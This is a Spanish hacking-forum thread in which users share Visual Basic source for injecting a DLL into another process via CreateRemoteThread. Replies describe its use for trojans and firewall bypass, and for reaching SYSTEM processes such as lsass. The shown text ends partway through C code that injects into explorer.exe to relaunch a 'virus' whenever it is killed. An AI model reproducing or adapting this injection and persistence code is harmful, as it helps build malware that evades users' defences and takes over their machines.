Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Hendrix en 15 Junio 2007, 17:11 pm



Título: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 15 Junio 2007, 17:11 pm
Aqui les dejo este codigo que ya e traducido a C#, ahora a VB...mi proximo reto es traducirlo a ensamblador con el Fasm.... :xD :xD

Bueno, me dejo de chachara....aqui esta el codigo:

Modulo:

Código
  1. '************************************************************************
  2. '************************************************************************
  3. '**                                                                    **
  4. '**   Inyeccion Dll en VB a partir del codigo en C++ de MazarD         **
  5. '**                                                                    **
  6. '**                  Wrote on June 15, 2007 by Hendrix                 **
  7. '**                                                                    **
  8. '**                                                                    **
  9. '**                         CopyLeft Licence                           **
  10. '************************************************************************
  11. '************************************************************************
  12.  
  13.  
  14.  
  15. Private Const PAGE_READWRITE As Long = &H4
  16. Private Const MEM_RELEASE As Long = &H8000
  17. Private Const MEM_COMMIT As Long = &H1000
  18. Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
  19. Private Const SYNCHRONIZE As Long = &H100000
  20. Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  21. Private Const INFINITE As Long = &HFFFFFF
  22.  
  23. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  24. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  25. Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
  26. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  27. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  28. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  29. Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
  30. Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
  31.  
  32.  
  33. Public Function Inyecta(RutaDll As String, Pid As Long) As Integer
  34. Dim proc As Long
  35. Dim nload As Long
  36. Dim rems As Long
  37. Dim longi As Long
  38. Dim RemThread As Long
  39. Dim Tid As Long
  40.  
  41. On Error GoTo Error
  42. proc = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
  43. nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
  44. rems = VirtualAllocEx(proc, 0, Len(RutaDll), MEM_COMMIT, PAGE_READWRITE)
  45. WriteProcessMemory proc, ByVal rems, ByVal RutaDll, Len(RutaDll), longi
  46. CreateRemoteThread proc, ByVal 0, 0, ByVal nload, ByVal rems, 0, Tid
  47. WaitForSingleObject rems, INFINITE
  48. CloseHandle proc
  49. CloseHandle rems
  50. Inyecta = 0
  51. Exit Function
  52. Error:
  53. Inyecta = 1
  54. End Function

Formulario:

Código
  1. Private Sub Form_Load()
  2. Dim ruta As Long
  3. Dim resultado As Integer
  4.  
  5. ruta = Shell("notepad.exe")
  6. resultado = Inyecta("C:\ladll.dll", ruta)
  7.  
  8. If resultado = 0 Then
  9. MsgBox "Dll Inyectada con éxito!!!", , "Información"
  10. Else
  11. MsgBox "A ocurrido un error", vbCritical, "Información"
  12. End If
  13. End
  14. End Sub

Un Saludo.  ;)



Título: Re: [Source] Inyeccion Dll en VB
Publicado por: LeandroA en 15 Junio 2007, 23:37 pm
Hola Hendrix esta muy interesante el code, pero no entiendo mucho su finalidad, que se supone aria la dll dentro del notepad?, puedes poner un ejemplo de como se ejecuta una funcion de la dll de esta forma?

Saludos


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 16 Junio 2007, 11:32 am
Muy weno Hendrix, yo pensaba q en VB no se iba a poder xDD

Hola Hendrix esta muy interesante el code, pero no entiendo mucho su finalidad, que se supone aria la dll dentro del notepad?, puedes poner un ejemplo de como se ejecuta una funcion de la dll de esta forma?

Saludos

Weno, tu tienes q hacerte una dll con dllmain (creo q esto en VB si q no vas a poder hacerlo, corregisme si me ekivoco), colocas esa dll en C:\ladll.dll con ese nombre y usas el codigo.

Con esto conseguiras crear un hilo remoto en el proceso del notepad q cargara la dll y ejecutara el dll main  :xD :xD asi conseguiras q el notepad haga lo q tu kieras, ideal para troyanos (asi el firewall dará permiso al IE para salir a internet) o para hacer tu proceso inmortal

Muy buen aporte Hendrix, hay q ver lo q te has tenido q complicar para hacerlo en VB xDDDD


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 16 Junio 2007, 12:48 pm
Si....esto es demasiado "trabajo" para el VB....comparando el fuente de C y este hay mucha diferencia....xDDD e tenido que añadir un API porque me cerraba antes de tiempo...xDDD

Un Saludo.  ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: cheatmaster en 16 Junio 2007, 13:26 pm
entonces, podemos hacer que un form descargue la dll, se cierre cargue otro form , con ese codigo, y ejecute la dll, M.. q bueno !!

Una duda, tiene que ser el notepad o puede ser arternativo, ejemplo... msn, IE, firefox.. o tiene que ser el notepad ?


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 16 Junio 2007, 13:58 pm
Vale cualkier otro proceso, aunke yo e provado en C con el lsass y ese tipo de procesos y no funcionó, pero con firefox, msn o internet explorer si q funciona  :P


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: byebye en 16 Junio 2007, 14:32 pm
EON no te funciona con lsass por el tema de privilegios, que puedes ajustar tu mismo antes de abrir el proceso. despues lo puedes injectar donde quieras.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Mad Antrax en 16 Junio 2007, 15:22 pm
Vale cualkier otro proceso, aunke yo e provado en C con el lsass y ese tipo de procesos y no funcionó, pero con firefox, msn o internet explorer si q funciona  :P

Si que puedes inyectar, leer memoria y escribir en memoria de otros procesos de SYSTEM (como lsass o svchost). Solo necesitas ejecutar tu aplicación con los privilegios heredades => a SYSTEM.

Cuando programé mi MemDumper (dumpeador de memoria de procesos) pude dumpear la memoria de svchost siempre y cuando mi aplicación se lanzara desde SYSTEM.

Para hacerlo solo tienes que usar el bug del comando AT (explicado por mí también en este foro) para pasar un proceso de Admin a SYSTEM.

Saludos!!


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: byebye en 16 Junio 2007, 15:39 pm
no hace falta bugs para hacerlo, con AdjustTokenPrivileges lo haces. ya que de la otra forma si es un bug algun AV puede saltar.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 16 Junio 2007, 16:10 pm
no hace falta bugs para hacerlo, con AdjustTokenPrivileges lo haces. ya que de la otra forma si es un bug algun AV puede saltar.

Amén....eso se hace con la API, no con el comando At aunque es una buena opcion a la API... ;) ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Mad Antrax en 16 Junio 2007, 18:26 pm
 :o

Esa API no la conozco :S Que es lo que hace exactamente? Podeis poner algún ejemplo?

Gracias


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: LeandroA en 16 Junio 2007, 18:37 pm
entonoses en que quedo lo de la dll se puede o no en visual, de  que estamos ablando de una dll no activeX?? (esto es lo feo de solo saver programar en visual b :( desconoces todas estas cosas)

Saludos


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 16 Junio 2007, 18:39 pm
Te pego 3 codigos del ApiGuide sobre esa api... ;)

ExitWindowsX - NT
Código:
'In a module
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const ANYSIZE_ARRAY = 1
Private Const VER_PLATFORM_WIN32_NT = 2
Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
Type LUID
    LowPart As Long
    HighPart As Long
End Type
Type LUID_AND_ATTRIBUTES
    pLuid As LUID
    Attributes As Long
End Type
Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
'Detect if the program is running under Windows NT
Public Function IsWinNT() As Boolean
    Dim myOS As OSVERSIONINFO
    myOS.dwOSVersionInfoSize = Len(myOS)
    GetVersionEx myOS
    IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
'set the shut down privilege for the current application
Private Sub EnableShutDown()
    Dim hProc As Long
    Dim hToken As Long
    Dim mLUID As LUID
    Dim mPriv As TOKEN_PRIVILEGES
    Dim mNewPriv As TOKEN_PRIVILEGES
    hProc = GetCurrentProcess()
    OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
    LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
    mPriv.PrivilegeCount = 1
    mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    mPriv.Privileges(0).pLuid = mLUID
    ' enable shutdown privilege for the current application
    AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
' Shut Down NT
Public Sub ShutDownNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_SHUTDOWN
    If Force Then Flags = Flags + EWX_FORCE
    If IsWinNT Then EnableShutDown
    ExitWindowsEx Flags, 0
End Sub
'Restart NT
Public Sub RebootNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_REBOOT
    If Force Then Flags = Flags + EWX_FORCE
    If IsWinNT Then EnableShutDown
    ExitWindowsEx Flags, 0
End Sub
'Log off the current user
Public Sub LogOffNT(Force As Boolean)
    Dim ret As Long
    Dim Flags As Long
    Flags = EWX_LOGOFF
    If Force Then Flags = Flags + EWX_FORCE
    ExitWindowsEx Flags, 0
End Sub

'In a form
'This project needs a form with three command buttons
Private Sub Command1_Click()
    LogOffNT True
End Sub
Private Sub Command2_Click()
    RebootNT True
End Sub
Private Sub Command3_Click()
    ShutDownNT True
End Sub
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Command1.Caption = "Log Off NT"
    Command2.Caption = "Reboot NT"
    Command3.Caption = "Shutdown NT"
End Sub

System Shutdown
Código:
' Shutdown Flags
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const SE_PRIVILEGE_ENABLED = &H2
Const TokenPrivileges = 3
Const TOKEN_ASSIGN_PRIMARY = &H1
Const TOKEN_DUPLICATE = &H2
Const TOKEN_IMPERSONATE = &H4
Const TOKEN_QUERY = &H8
Const TOKEN_QUERY_SOURCE = &H10
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_ADJUST_GROUPS = &H40
Const TOKEN_ADJUST_DEFAULT = &H80
Const SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
Const ANYSIZE_ARRAY = 1
Private Type LARGE_INTEGER
    lowpart As Long
    highpart As Long
End Type
Private Type Luid
    lowpart As Long
    highpart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
    'pLuid As Luid
    pLuid As LARGE_INTEGER
    Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function InitiateSystemShutdown Lib "advapi32.dll" Alias "InitiateSystemShutdownA" (ByVal lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As Long, ByVal bRebootAfterShutdown As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Public Function InitiateShutdownMachine(ByVal Machine As String, Optional Force As Variant, Optional Restart As Variant, Optional AllowLocalShutdown As Variant, Optional Delay As Variant, Optional Message As Variant) As Boolean
    Dim hProc As Long
    Dim OldTokenStuff As TOKEN_PRIVILEGES
    Dim OldTokenStuffLen As Long
    Dim NewTokenStuff As TOKEN_PRIVILEGES
    Dim NewTokenStuffLen As Long
    Dim pSize As Long
    If IsMissing(Force) Then Force = False
    If IsMissing(Restart) Then Restart = True
    If IsMissing(AllowLocalShutdown) Then AllowLocalShutdown = False
    If IsMissing(Delay) Then Delay = 0
    If IsMissing(Message) Then Message = ""
    'Make sure the Machine-name doesn't start with '\\'
    If InStr(Machine, "\\") = 1 Then
        Machine = Right(Machine, Len(Machine) - 2)
    End If
    'check if it's the local machine that's going to be shutdown
    If (LCase(GetMyMachineName) = LCase(Machine)) Then
        'may we shut this computer down?
        If AllowLocalShutdown = False Then Exit Function
        'open access token
        If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hProc) = 0 Then
            MsgBox "OpenProcessToken Error: " & GetLastError()
            Exit Function
        End If
        'retrieve the locally unique identifier to represent the Shutdown-privilege name
        If LookupPrivilegeValue(vbNullString, SE_SHUTDOWN_NAME, OldTokenStuff.Privileges(0).pLuid) = 0 Then
            MsgBox "LookupPrivilegeValue Error: " & GetLastError()
            Exit Function
        End If
        NewTokenStuff = OldTokenStuff
        NewTokenStuff.PrivilegeCount = 1
        NewTokenStuff.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
        NewTokenStuffLen = Len(NewTokenStuff)
        pSize = Len(NewTokenStuff)
        'Enable shutdown-privilege
        If AdjustTokenPrivileges(hProc, False, NewTokenStuff, NewTokenStuffLen, OldTokenStuff, OldTokenStuffLen) = 0 Then
            MsgBox "AdjustTokenPrivileges Error: " & GetLastError()
            Exit Function
        End If
        'initiate the system shutdown
        If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then
            Exit Function
        End If
        NewTokenStuff.Privileges(0).Attributes = 0
        'Disable shutdown-privilege
        If AdjustTokenPrivileges(hProc, False, NewTokenStuff, Len(NewTokenStuff), OldTokenStuff, Len(OldTokenStuff)) = 0 Then
            Exit Function
        End If
    Else
        'initiate the system shutdown
        If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then
            Exit Function
        End If
    End If
    InitiateShutdownMachine = True
End Function
Function GetMyMachineName() As String
    Dim sLen As Long
    'create a buffer
    GetMyMachineName = Space(100)
    sLen = 100
    'retrieve the computer name
    If GetComputerName(GetMyMachineName, sLen) Then
        GetMyMachineName = Left(GetMyMachineName, sLen)
    End If
End Function
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    InitiateShutdownMachine GetMyMachineName, True, True, True, 60, "You initiated a system shutdown..."
End Sub

Save/Restore Key
Código:
'example by Scott Watters (scottw@racewaves.com)

' No rhyme or reason for making some private and some public. Use your own discretion...
Const HKEY_CURRENT_USER = &H80000001
Const TOKEN_QUERY As Long = &H8&
Const TOKEN_ADJUST_PRIVILEGES As Long = &H20&
Const SE_PRIVILEGE_ENABLED As Long = &H2
Const SE_RESTORE_NAME = "SeRestorePrivilege" 'Important for what we're trying to accomplish
Const SE_BACKUP_NAME = "SeBackupPrivilege"
Const REG_FORCE_RESTORE As Long = 8& ' Almost as import, will allow you to restore over a key while it's open!
Const READ_CONTROL = &H20000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Const STANDARD_RIGHTS_ALL = &H1F0000
Const SPECIFIC_RIGHTS_ALL = &HFFFF
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Type LUID
   lowpart As Long
   highpart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
   pLuid As LUID
   Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
   PrivilegeCount As Long
   Privileges As LUID_AND_ATTRIBUTES
End Type
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long     ' Always close your keys when you're done with them!
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long             ' Need to open the key to be able to restore to it.
Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long ' Main function
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPriv As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long                'Used to adjust your program's security privileges, can't restore without it!
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As Any, ByVal lpName As String, lpLuid As LUID) As Long          'Returns a valid LUID which is important when making security changes in NT.
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, lpSecurityAttributes As Any) As Long
Function EnablePrivilege(seName As String) As Boolean
    Dim p_lngRtn As Long
    Dim p_lngToken As Long
    Dim p_lngBufferLen As Long
    Dim p_typLUID As LUID
    Dim p_typTokenPriv As TOKEN_PRIVILEGES
    Dim p_typPrevTokenPriv As TOKEN_PRIVILEGES
    p_lngRtn = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, p_lngToken)
    If p_lngRtn = 0 Then
        Exit Function ' Failed
    ElseIf Err.LastDllError <> 0 Then
        Exit Function ' Failed
    End If
    p_lngRtn = LookupPrivilegeValue(0&, seName, p_typLUID)  'Used to look up privileges LUID.
    If p_lngRtn = 0 Then
        Exit Function ' Failed
    End If
    ' Set it up to adjust the program's security privilege.
    p_typTokenPriv.PrivilegeCount = 1
    p_typTokenPriv.Privileges.Attributes = SE_PRIVILEGE_ENABLED
    p_typTokenPriv.Privileges.pLuid = p_typLUID
    EnablePrivilege = (AdjustTokenPrivileges(p_lngToken, False, p_typTokenPriv, Len(p_typPrevTokenPriv), p_typPrevTokenPriv, p_lngBufferLen) <> 0)
End Function
Public Function RestoreKey(ByVal sKeyName As String, ByVal sFileName As String, lPredefinedKey As Long) As Boolean
    If EnablePrivilege(SE_RESTORE_NAME) = False Then Exit Function
    Dim hKey As Long, lRetVal As Long
    Call RegOpenKeyEx(lPredefinedKey, sKeyName, 0&, KEY_ALL_ACCESS, hKey)  ' Must open key to restore it
    'The file it's restoring from was created using the RegSaveKey function
    Call RegRestoreKey(hKey, sFileName, REG_FORCE_RESTORE)
    RegCloseKey hKey ' Don't want to keep the key ope. It causes problems.
End Function
Public Function SaveKey(ByVal sKeyName As String, ByVal sFileName As String, lPredefinedKey As Long) As Boolean
    If EnablePrivilege(SE_BACKUP_NAME) = False Then Exit Function
    Dim hKey As Long, lRetVal As Long
    Call RegOpenKeyEx(lPredefinedKey, sKeyName, 0&, KEY_ALL_ACCESS, hKey)   ' Must open key to save it
    'Don't forget to "KILL" any existing files before trying to save the registry key!
    If Dir(sFileName) <> "" Then Kill sFileName
    Call RegSaveKey(hKey, sFileName, ByVal 0&)
    RegCloseKey hKey ' Don't want to keep the key ope. It causes problems.
End Function
Private Sub Form_Load()
    Const sFile = "c:\test.reg"
    SaveKey "SOFTWARE\KPD-Team\API-Guide", sFile, HKEY_CURRENT_USER
    RestoreKey "SOFTWARE\KPD-Team\API-Guide", sFile, HKEY_CURRENT_USER
End Sub

Eso es todo, un Saludo tio.  ;) ;)



Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 16 Junio 2007, 18:40 pm
entonoses en que quedo lo de la dll se puede o no en visual, de  que estamos ablando de una dll no activeX?? (esto es lo feo de solo saber programar en visual b :( desconoces todas estas cosas)

Saludos

La Dll en VB no funciona...tiene que ser una en C/C++


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Timerlux en 16 Junio 2007, 22:56 pm
A ver Hendrix o quien pueda

A mi este tema nunca me quedo claro, me podriais explicar un poco en que consiste la inyeccion DLL, mirar os hago unas preguntas para ir al grano

1)se trata de que si yo tengo un codigo de un server.exe , tengo adaptarlo , para compilarlo como una DLL y asi poder inyectarlo.

2)¿Es similar y facilmente adaptable tu codigo para que se inyecte un EXE en el explorador como lo hacen muchos troyanos (Flux ...) ,o este codigo no tiene nada que ver?

Gracias y Saludos


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 16 Junio 2007, 23:02 pm
Evidentemente este codigo aplicado a un .exe no chuta, ya que el LoadLibrary es para Dll'sy no para exe's....lo que hace el codigo es inyectar codigo para que se ejecute el loadlibrary con la Dll que kieras en el proceso remoto (con CreateRemoteThread)....la api LoadLibrary al cargar la Dll la ejecuta desde DllMain... ;)

Un Saludo.  ;)



Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 17 Junio 2007, 11:48 am
Para inyectar un codigo directamente tienes q utilizar otro metodo, aki os dejo un ejemplo (en C), aclaro q no es mio, me lo pasó MITM:

Código:
#include <windows.h>

//declaramos punteros a las apis que usaremos en el codigo inyectado
//colocamos los tipos de datos que reciben y el tipo que devuelven
typedef HANDLE (WINAPI *sOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *sWaitForSingleObject) (HANDLE, DWORD);
typedef BOOL (WINAPI *sCreateProcess) (LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *sCloseHandle) (HANDLE);
typedef VOID (WINAPI *sSleep) (DWORD);
typedef HANDLE (WINAPI *sCreateMutex) (LPSECURITY_ATTRIBUTES, BOOL, LPSTR);

//struct que inyectaremos en la memoria del proceso, contendra las
//direcciones de las apis que usaremos y otros datos
struct iDat
{
sCreateMutex pCreateMutex;
sOpenProcess pOpenProcess;
sWaitForSingleObject pWaitForSingleObject;
sCreateProcess pCreateProcess;
sCloseHandle pCloseHandle;
sSleep pSleep;
DWORD PID;
HANDLE hp;
int x;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char Path[MAX_PATH];
char Mutex[50];
};

//prototipos de funciones
DWORD GetAdres(char *module, char *function);
DWORD Resident(iDat *base);
int SubMain();
void Dormir();

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//si no es un win tipo NT(xp, 2000, 2003, nt) salimos
OSVERSIONINFO OSinfo;
OSinfo.dwOSVersionInfoSize=sizeof(OSinfo);
GetVersionEx(&OSinfo);
if (OSinfo.dwPlatformId!=2) return 0;

//verificamos la existencia del mutex "Resident", si ya existe
//el explorer.exe ya esta inyectado y vamos a Dormir()
//en este caso por ser un ejemplo llamamos a Dormir() para
//mantener el proceso del ejemplo
HANDLE om = OpenMutex(SYNCHRONIZE, false, "Resident");
if (om == NULL) { SubMain(); } else { Dormir(); }
return 0;
}

//esta es la funcion que inyectaremos en el proceso del explorer.exe
//observese que se accede a las api y a otros datos usando la structura
//declarada antes, ya que como esta funcion se ejecutara en la memoria de
//otro proceso, no podemos usar apis y variables directamente, porque
//no corresponderian su direccion en la memoria de nuestro proceso
//con la del proceso del explorer.exe, es decir si por ejemplo la
//funcion usa una variable tipo int en la direccion 1000 de nuestro
//proceso, al inyectar el code, la funcion usaría lo que ubiera en
//la direccion 1000 del proceso inyectado, y daria error
//la funcion recibe un puntero a una struct iDat
DWORD Resident(iDat *base)
{
//creamos el mutex "Resident" para marcar el proceso como
//inyectado
base->pCreateMutex(NULL, 0, base->Mutex);
//abrimos el proceso del virus, con permiso de sincronizacion
base->hp = base->pOpenProcess(SYNCHRONIZE, 0, base->PID);
//si error salimos
if(base->hp==0) return 0;
//esperamos a que el proceso termine(es decir si nos terminan)
base->pWaitForSingleObject(base->hp, INFINITE);
//cerramos el handle al proceso
base->pCloseHandle(base->hp);
//esperamos 1/2 seg.
base->pSleep(500);
//entramos a un bucle do que ejecutara el virus si terminan su proceso
do
{
  //ejecutamos el virus
  base->x = base->pCreateProcess(base->Path, 0, 0, 0, 0, 0, 0, 0, &base->si, &base->pi);
  //si error salimos
  if (base->x == 0) break;
  //esperamos a que el proceso termine(osea si nos terminan)
  base->pWaitForSingleObject(base->pi.hProcess, INFINITE);
  //cerramos los handles al proceso y al hilo primario del proceso
  base->pCloseHandle(base->pi.hProcess);
  base->pCloseHandle(base->pi.hThread);
  //dormimos 1/2 seg
  base->pSleep(500);
}
while(1);
return 0;
}
//funcion inyectora
int SubMain()
{
//declaramos variables
DWORD pid;
HWND hv;
HANDLE hp;
iDat dat;
DWORD TamCodigo, dw;
void *vm;
char path[MAX_PATH];
//inicializamos con ceros la struct
ZeroMemory(&dat, sizeof(iDat));

//copiamos la cadena al miembro que se usara como nombre del mutex
//al miembro .Mutex de la struct
lstrcpy(dat.Mutex, "Resident");

//obtenemos el handle a la barra de inicio(que es una ventana, gene
//rada por el explorer.exe) si estamos haciendo esto al iniciar
//la pc seria bueno poner un retardo o un contador con un for
//y con un Sleep ya que puede que el virus se ejecute y como la pc
//recien se inicia, todavia no se haya creado la barra de inicio
hv = FindWindow("Shell_TrayWnd", NULL);
//si error salimos
if (hv==0) return 1;

//obtenemos el PID del proceso que creo la barra de inicio, que sera
//el pid del explorer.exe
GetWindowThreadProcessId(hv, &pid);
//si error salimos
if (pid==0) return 1;

//abrimos el proceso del explorer.exe
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
//si error salimos
if (hp==0) return 1;

//obtenemos las direcciones de las apis que usaremos y las
//almacenamos en la struct
dat.pOpenProcess = (sOpenProcess)GetAdres("KERNEL32.DLL", "OpenProcess");
dat.pWaitForSingleObject = (sWaitForSingleObject)GetAdres("KERNEL32.DLL", "WaitForSingleObject");
dat.pCreateProcess = (sCreateProcess)GetAdres("KERNEL32.DLL", "CreateProcessA");
dat.pCloseHandle = (sCloseHandle)GetAdres("KERNEL32.DLL", "CloseHandle");
dat.pSleep = (sSleep)GetAdres("KERNEL32.DLL", "Sleep");
dat.pCreateMutex = (sCreateMutex)GetAdres("KERNEL32.DLL", "CreateMutexA");
//almacenamos en la struct nuestro pid y nuestro path tambien
dat.PID = GetCurrentProcessId();
GetModuleFileName(0,path,sizeof(path)); lstrcpy(dat.Path, path);

//reservamos espacio en el proceso para la struct, devolvera un
//puntero a la struct que indicara la direccion de memoria en el
//proceso en que sera escrita la struct
